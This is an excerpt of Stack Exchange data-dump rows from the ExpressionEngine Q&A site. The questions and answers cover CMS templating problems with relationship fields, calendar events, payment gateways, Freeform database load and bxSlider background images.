  <row Id="31859" PostTypeId="1" CreationDate="2015-06-09T17:11:28.927" Score="0" ViewCount="116" Body="&lt;p&gt;I made a channel with a relationship with calendar and events channel. The relationship with event is multiselect. I want to select the event manually from the backend(channel).&#xA;Now i am failed to show these event in front end with the grouping by date as shown in the image/attachment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me; how can i do such functionalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.imageurlhost.com/images/7yje2k0ht07jykhqyajm.png&quot; rel=&quot;nofollow&quot;&gt;http://www.imageurlhost.com/images/7yje2k0ht07jykhqyajm.png&lt;/a&gt;&#xA;(relationship pic)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.imageurlhost.com/images/c3j2g4poltpz1tv7npi.png&quot; rel=&quot;nofollow&quot;&gt;http://www.imageurlhost.com/images/c3j2g4poltpz1tv7npi.png&lt;/a&gt;&#xA;(layout pic)&lt;/p&gt;&#xA;" OwnerUserId="6379" LastActivityDate="2016-05-14T23:01:09.190" Title="ExpressionEngine and Solspace Calendar and Relationship and Custom Event Selection and Grouping by Date" Tags="|relationships|solspace-calendar|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31860" PostTypeId="2" ParentId="31853" CreationDate="2015-06-09T17:33:32.740" Score="0" Body="&lt;p&gt;Thanks to some great help from &lt;a href=&quot;https://expressionengine.stackexchange.com/users/1100/blatant&quot;&gt;Blatant&lt;/a&gt; we traced it down to the server time. It was about 8 hours behind which was causing IE to set the exp_csrf_token to expire earlier than it should. Contacting the hosting provider and getting the server time fixed resolved the issue.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-06-09T17:33:32.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31861" PostTypeId="2" ParentId="31851" CreationDate="2015-06-09T17:43:16.530" Score="1" Body="&lt;p&gt;I answered my question. You cannot do exact searches on a Playa field: &lt;a href=&quot;https://solspace.com/docs/super_search/third_party_support/#pt_playa&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/super_search/third_party_support/#pt_playa&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-06-09T17:43:16.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31862" PostTypeId="1" AcceptedAnswerId="31872" CreationDate="2015-06-09T20:13:44.803" Score="0" ViewCount="85" Body="&lt;p&gt;I have a Product channel for eCommerce that members can add entries to for sale on the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a member creates the product, I want the Channel Form to set the value of the &quot;Product Member&quot; &lt;strong&gt;relationship field&lt;/strong&gt; equal to the member who created it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am imagining a syntax similar to how I set the URL Title of a Channel Form entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;product_member&quot; value=&quot;{visitor:global:url_title}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; I found a solution before the answer posted. But Blatant's troubleshooting steps are correct nevertheless. After outputting the field using &lt;code&gt;{field:product_farmer}&lt;/code&gt;, I was able to construct my hidden field to publish the new entry with the currently logged in user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result is this syntax:&#xA;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that relationship fields, whether they are one-to-many or many-to-many, use the same syntax (i.e. &lt;code&gt;input type=&quot;hidden&quot; name=&quot;custom_field_name[data][]&quot; value=&quot;{entry_id}&quot;&lt;/code&gt;). Zoo Visitor ID returns the channel entry ID of the currently logged in member.&lt;/p&gt;&#xA;" OwnerUserId="2916" LastEditorUserId="2916" LastEditDate="2015-06-10T15:44:36.000" LastActivityDate="2015-06-10T15:44:36.000" Title="Publish Channel Form entry with current zoo visitor account set in relationship" Tags="|expresso-store|safecracker|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31863" PostTypeId="2" ParentId="26517" CreationDate="2015-06-09T21:33:34.860" Score="1" Body="&lt;p&gt;EE's default system emails -- the ones that use Email Notification Templates -- are always sent as text. There's no code that allows them to be sent as HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/497/auto-generated-emails-not-being-sent-as-html&quot;&gt;Auto-Generated Emails Not Being Sent as HTML&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="480" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-06-09T21:33:34.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31864" PostTypeId="2" ParentId="6713" CreationDate="2015-06-09T22:41:24.033" Score="0" Body="&lt;p&gt;I had to put this &lt;strong&gt;after&lt;/strong&gt; the line in config.master.php that sets $base_path and $base_url so it would overwrite those variables if they were passed in from config.local.php.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2015-06-09T22:41:24.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31865" PostTypeId="1" AcceptedAnswerId="31892" CreationDate="2015-06-09T23:14:13.830" Score="0" ViewCount="103" Body="&lt;p&gt;We have DevDemon forms up and running, our form works, payments go through our Stripe account in test mode. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We are processing payments for guests of the EE installation, not registered EE users. &lt;/li&gt;&#xA;&lt;li&gt;We have an Email field which has a short name of receipt_email.&lt;/li&gt;&#xA;&lt;li&gt;Stripe says there is no email passed, so no receipt can be emailed out.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&#xA;Is it possible to pass the email from the form (receipt_email) as the email for stripe to use when sending out a receipt?&lt;/p&gt;&#xA;" OwnerUserId="588" LastActivityDate="2015-06-11T15:08:36.757" Title="devDemon Forms - Stripe gets no receipt_email for guest payments" Tags="|stripe|devdemon-forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31866" PostTypeId="2" ParentId="31859" CreationDate="2015-06-10T02:57:11.973" Score="0" Body="&lt;p&gt;Let's assume, based on the comment about &lt;strong&gt;making sure to use the channels and custom field groups provided by Calendar upon installation&lt;/strong&gt;, that the channels and field groups are set up properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; doesn't load the EE Channel:Entries library, it will likely not parse Channel module-based tags such as Relationship or Playa fields. In this case, you will need to pass the &lt;code&gt;event_id&lt;/code&gt; from {exp:calendar:cal} into either &lt;code&gt;{exp:calendar:events}&lt;/code&gt; (which loads the Channel:Entries library), or &lt;code&gt;{exp:channel:entries channel=&quot;calendar_events&quot;}&lt;/code&gt; if you're not using any date-based data. You may or may not need an embed to pass the ID.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-06-10T02:57:11.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31867" PostTypeId="1" AcceptedAnswerId="31870" CreationDate="2015-06-10T07:53:06.857" Score="0" ViewCount="47" Body="&lt;p&gt;We're using the relationship field to output the &quot;brand&quot; of items, on the listing page we want to output all of the &quot;brands&quot; so that we can filter by brand, however by default the tag outputs each and every items &quot;brand&quot;. We would like to limit it so that it doesn't show the same brand twice, it this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our current code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li class=&quot;all&quot;&amp;gt;&amp;lt;a href=&quot;#all&quot;&amp;gt;All brands&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {exp:channel:entries channel=&quot;products&quot; category_group=&quot;1&quot;}&#xA;      &amp;lt;li&amp;gt;&#xA;        {product_label}&#xA;        &amp;lt;a href=&quot;#product_label:url_title&quot;&amp;gt;&#xA;          {product_label:title}&#xA;        &amp;lt;/a&amp;gt;&#xA;        {/product_label}&#xA;      &amp;lt;/li&amp;gt;&#xA;      {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2015-06-10T09:25:22.710" Title="Outputting only one of each item within a relationship tag" Tags="|channel-entries|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31870" PostTypeId="2" ParentId="31867" CreationDate="2015-06-10T09:25:22.710" Score="1" Body="&lt;p&gt;I see 2 options, firstly you might be able to acheive this with &lt;a href=&quot;https://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;, make a list of the product_label entry id's and check this list as you print out the next one, if its in the list don't print.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second option is a bit more heavy. We could use a single PHP query to get your list of product label titles, then iterate the products channel as normal, using the PHP query result to control the output of the relationship fields. If you want to go down this route comment and I'll try to find a moment to write an example for you.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-10T09:25:22.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31871" PostTypeId="1" CreationDate="2015-06-10T11:28:30.547" Score="1" ViewCount="73" Body="&lt;p&gt;&lt;a href=&quot;https://www.facebook.com/das.boot.wuerzburg/app_518420714894932&quot; rel=&quot;nofollow&quot;&gt;I have this simple Facebook iframe App&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The secure URL that is called is: &lt;a href=&quot;https://www.das-boot.com/facebook&quot; rel=&quot;nofollow&quot;&gt;https://www.das-boot.com/facebook&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in facebook nothing is shown - only the following Expression Engine Error is thrown: &quot;This form has expired. Please refresh and try again.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT there isn't any form or any other ee-tags within the called ee-template only plain html code!? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone any idea? Going crazy with this... &lt;/p&gt;&#xA;" OwnerUserId="3125" LastActivityDate="2016-02-22T14:26:38.433" Title="Facebook iFrame App &quot;This form has expired. Please refresh and try again.&quot;" Tags="|templates|facebook|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31872" PostTypeId="2" ParentId="31862" CreationDate="2015-06-10T14:10:42.013" Score="1" Body="&lt;p&gt;First things first I would show the relationship field in the channel form using the &lt;code&gt;fields&lt;/code&gt; variable syntax, this way you can see the source of the control and the value it would be posting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect you'll see a select list with your members in it, and the values will be the member ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, then you would be able to trick the form with a hidden input like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;product_member&quot; value=&quot;{member_id}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this is not exactly 'safe' as anyone fwith Firebug for instance could swap the value out! The safer way would be to post process this in some way, most reasonable seems to be to use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel_form/index.html#channel-form-submit-entry-start&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;channel-form-submit-entry-start&lt;/code&gt;&lt;/a&gt; event and incert the logged in Member ID.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-10T14:10:42.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31873" PostTypeId="1" AcceptedAnswerId="31888" CreationDate="2015-06-10T14:36:17.047" Score="0" ViewCount="85" Body="&lt;p&gt;In a recent version of Exp:resso Store since (2.3.1) there has been a change in what information gets passed to the Payment Gateways (I believe using the function getDescription();).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2.3.1 the OrderID was passed, in both 2.5.0 and 2.5.1 it is the Cart ID that is passed (now these are separate things). This is paying havoc with my client accounting team, who now have no obvious way to tally Payments (on both SagePay and Paypal Express) with the orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug, or designed behaviour? If designed behaviour is there a way I can get the order ID on the AuthoriseRequest.php scripts please?&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2015-06-10T23:27:16.770" Title="Exp:resso Store Payment Gateway changes" Tags="|expresso-store|devdemon|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31874" PostTypeId="1" CreationDate="2015-06-10T15:06:20.647" Score="0" ViewCount="24" Body="&lt;p&gt;just used freeform on a large ecommerce site in a dropdown header contact form. Shortly after we went live with it, it killed the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are seeing:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tail -5000000 /var/ | grep exp_freeform_fields | awk ' { print $1, $2, $3 } ' | cut -d: -f1,2 | sort | uniq -c&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;happen for every visit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  1 Jun 10 11:38&#xA;  1 Jun 10 11:39&#xA;  5 Jun 10 11:40&#xA;  2 Jun 10 11:42&#xA;  1 Jun 10 11:43&#xA;  2 Jun 10 11:44&#xA;  3 Jun 10 11:45&#xA;  1 Jun 10 11:46&#xA;  2 Jun 10 11:47&#xA;  1 Jun 10 11:48&#xA;  1 Jun 10 11:50&#xA;  2 Jun 10 11:52&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to happen with every visit. Is this standard behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Ian&lt;/p&gt;&#xA;" OwnerUserId="1728" LastEditorUserId="1100" LastEditDate="2015-06-10T20:41:42.797" LastActivityDate="2015-06-10T20:41:42.797" Title="Freeform form on busy homepage kills the DB" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31875" PostTypeId="1" CreationDate="2015-06-10T15:43:45.687" Score="0" ViewCount="1525" Body="&lt;p&gt;I am using the bxSlider in full screen (filling entire browser window) mode. To have the images become full screen I set the images in the list as &#xA;background-image: url images. I created this in html and it worked out fine. The images reach full width. Here is an example of what my HTML looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;bxslider&quot;&amp;gt;&#xA;  &amp;lt;li style=&quot;background-image: url('slide1.jpg');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li style=&quot;background-image: url('slide2.jpg');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li style=&quot;background-image: url('slide3.jpg');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li style=&quot;background-image: url('slide4.jpg');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I want to incorporate it into expressionengine by allowing the admin to upload the slider images in the backend in the corresponding channel entry. I have created the channel fields labeled &quot;slider_image1&quot;, &quot;slider_image2&quot;, &quot;slider_image3&quot;, &quot;slider_image4&quot; in the channel named, &quot;slider_test.&quot; I am using expresionengine v2.6.1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been struggling for the correct markup and have tried the following which has not worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;bxslider&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;{slider_test}&quot;}&#xA;    &amp;lt;li style=&quot;background-image: url({slider_image1});&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li style=&quot;background-image: url({slider_image2});&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li style=&quot;background-image: url({slider_image3});&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/exp:channel:entries} &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. I also would like to include an if statement so that if the user only uploads two images the third one won't display. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also would like to see if its also possible to incorporate the title=&quot;&quot; element which the bxSlider uses as the captions. I know that the title element is meant for the  html element so would love some ideas as to how this can be done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have changed the code to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;bxslider&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;li style=&quot;background-image: url({slider_image1});&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li style=&quot;background-image: url({slider_image2});&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li style=&quot;background-image: url({slider_image3});&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/exp:channel:entries} &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this still isn't working&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My title for my channel entry is, &quot;slider images&quot; I have changed it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;bxslider&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;    {slider images}&#xA;    &amp;lt;li style=&quot;background-image: url({slider_image1});&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li style=&quot;background-image: url({slider_image2});&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li style=&quot;background-image: url({slider_image3});&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/exp:channel:entries} &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still isn't working. Thank you again for your patience. The status of the entry is open, The URL title for the channel entry is &quot;slider-images&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works this way but this isn't what I want because I am trying to set the images as backgrounds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;bxslider&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;    {slider images}&#xA;    &amp;lt;li&amp;gt;{slider_image1}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;{slider_image2}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;{slider_image3}&amp;lt;/li&amp;gt;&#xA;  {/exp:channel:entries} &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This just sets the images inside the li. How do I set the li as background images while still allowing the user to choose what image to upload?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me figure this out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggest for debugging I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;pre&amp;gt;{slider_image1}{url}{/slider_image1}&amp;lt;/pre&amp;gt;&#xA;  {/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am getting a valid URL for the file in the PRE tag by removing setting the image as background. But I want them set as background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, thank you all so much for helping me out with this. I really do appreciate it. As I'm sure you can tell by now I am still fairly new with expressionengine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have removed the ul li all together and tried using a div and setting the background image as suggested with the following markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;    {slider images}&#xA;    &amp;lt;div style=&quot;width:100%;height:100%; background-image: url('{slider_image1}{url}{/slider_image1}')&quot;&amp;gt;&#xA;  {/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is rather strange. The image does not appear as a background image rather in the css says this: &#xA;         background-image: url( '&amp;lt; p &gt; &amp;lt; img alt= ; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.financialadvisorycorp.com/slider_full_width&quot; rel=&quot;nofollow&quot;&gt;http://www.financialadvisorycorp.com/slider_full_width&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;contains this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;div style=&quot;width:100%;height:100%; background-image: url('{slider_image1}{url}{/slider_image1}')&quot;&amp;gt;&#xA;  {/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And This url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.financialadvisorycorp.com/slider_full_width_image&quot; rel=&quot;nofollow&quot;&gt;http://www.financialadvisorycorp.com/slider_full_width_image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;contains this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;pre&amp;gt;{slider_image1}{url}{/slider_image1}&amp;lt;/pre&amp;gt;&#xA;  {/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would love to figure out how to set the slider images as backgrounds&lt;/p&gt;&#xA;" OwnerUserId="6386" LastEditorUserId="6386" LastEditDate="2015-06-10T18:46:02.400" LastActivityDate="2015-06-12T13:54:58.030" Title="Trying to use the bxSlider by setting the &lt;li&gt; as fields as background images in expressionengine" Tags="|ee2|channel-entries|file-uploads|fields|channel-fields|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31876" PostTypeId="2" ParentId="31875" CreationDate="2015-06-10T16:05:09.053" Score="0" Body="&lt;p&gt;and welcome! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue looks to be within your channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I ask what channel did you post your entry in? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how many entries are you trying to pull in? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;your code &lt;code&gt;{exp:channel:entries channel=&quot;{slider_test}&quot;}&lt;/code&gt; seems incorrect, hence why I ask your channel name, assuming your channel is called 'Banners' [banners] your channel entries tag will look like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;banners&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; tells EE not to try and work out what you want from the URL. Of course the above will iterate each and every entry in the channel. You mention you've crated the channel fields but have you made an entry in your channel yet? Do this. From here you will be able to assertain the &lt;code&gt;entry_id&lt;/code&gt; of your first entry, for example I'm gonna say &quot;5&quot;. In order to bring the image URL's in you will need to specify the entry ID you want (or you'll get a &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; for every entry!) like so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;banners&quot; dynamic=&quot;no&quot; entry_id=&quot;5&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will load one entry in the channel, and will product your &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; properly. Remember Channels are containers for many entries. each entry in a specific channel will have the field you describe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing it this way, if you wanted to create a different banner/slider set, you can just publish a new entry to the channel, and update &lt;code&gt;entry_id&lt;/code&gt; in your Channel Entries loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt; Following comments...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please try this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;bxslider&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;    {title}&#xA;    &amp;lt;li style=&quot;background-image: url('{slider_image1}');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li style=&quot;background-image: url('{slider_image2}');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li style=&quot;background-image: url('{slider_image3}');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/exp:channel:entries} &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're adding the &lt;code&gt;{title}&lt;/code&gt; to check it is finding and displaying your entry (check the status of the entry as Closed would cause it not to show!) if this works correctly, then we'll look into your fields...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this for debugging : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;pre&amp;gt;{slider_image1}{url}{/slider_image1}&amp;lt;/pre&amp;gt;&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will show us if the problem is in your entry/file manager, as it takes the ul, li and bxslider out the equasion! If you're not getting a valid URL for the ffile in the PRE tags we need to review (a) your entry and (b) your File Upload Settings. Here's a list of questions for ya : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;(relivent to a.the entry) When you Edit the entry, are the files thumbnails appearing correctly (in the CP)? &lt;/li&gt;&#xA;&lt;li&gt;(relivent to b.file upoad settings) In File Manager, can you see and view the images you uplaoded? &lt;/li&gt;&#xA;&lt;li&gt;For the file field you've put in your channel fields, what is the file upload directory?&lt;/li&gt;&#xA;&lt;li&gt;In Content . File Upload Preferences, for the destination you answered in step 3, what is the 'Server Path to Upload Directory' setting and waht is the 'URL of Upload Directory' setting&lt;/li&gt;&#xA;&lt;li&gt;What TYPE of field is &lt;code&gt;{slider_image1}&lt;/code&gt;, &lt;code&gt;{slider_image2}&lt;/code&gt; and &lt;code&gt;{slider_image3}&lt;/code&gt;, a File field right?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 3&lt;/strong&gt; Some more progress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so we've solved the channel issue, and we've determined the right path is coming out of the tags, but it's not going in as a background image, therefor can you try this code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;li style=&quot;background-image: url('{slider_image1}{url}{/slider_image1}');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li style=&quot;background-image: url('{slider_image2}{url}{/slider_image2}');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li style=&quot;background-image: url('{slider_image3}{url}{/slider_image3}');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/exp:channel:entries} &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And most importantly &lt;strong&gt;please post the resultant HTML&lt;/strong&gt;, as a copy from source please. Note I've taken bxslider class out to see if its the bxslider loader JS wiping the images.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-06-10T18:15:19.687" LastActivityDate="2015-06-10T18:15:19.687" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
